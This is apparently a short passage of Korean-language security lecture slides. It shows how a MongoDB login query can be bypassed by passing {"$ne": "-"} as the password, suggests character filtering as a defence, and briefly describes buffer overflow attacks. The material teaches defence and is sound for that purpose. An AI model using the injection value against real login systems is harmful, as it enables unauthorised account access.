  • 43. MongoDB Injection - 사례 db.collection.find({ "email": "kciter@cobalt.run", "password": password }) db.collection.find({ "email": "kciter@cobalt.run", "password": { "$ne": "-" }) password = { "$ne": "-" }
  • 44. MongoDB Injection - 방어 •영향을 줄 수 있는 문자를 필터링한다. ex) $, {, }, [, ], (, ), ...
  • 45. Buffer Overflow •Buffer Overflow를 통해 다른 메모리에 접근하는 공격 •다른 메모리에 접근 및 제어가 가능하기 때문에 치명적 •시스템 해킹 기법이기도 하다. •뚫리면 서비스 종료각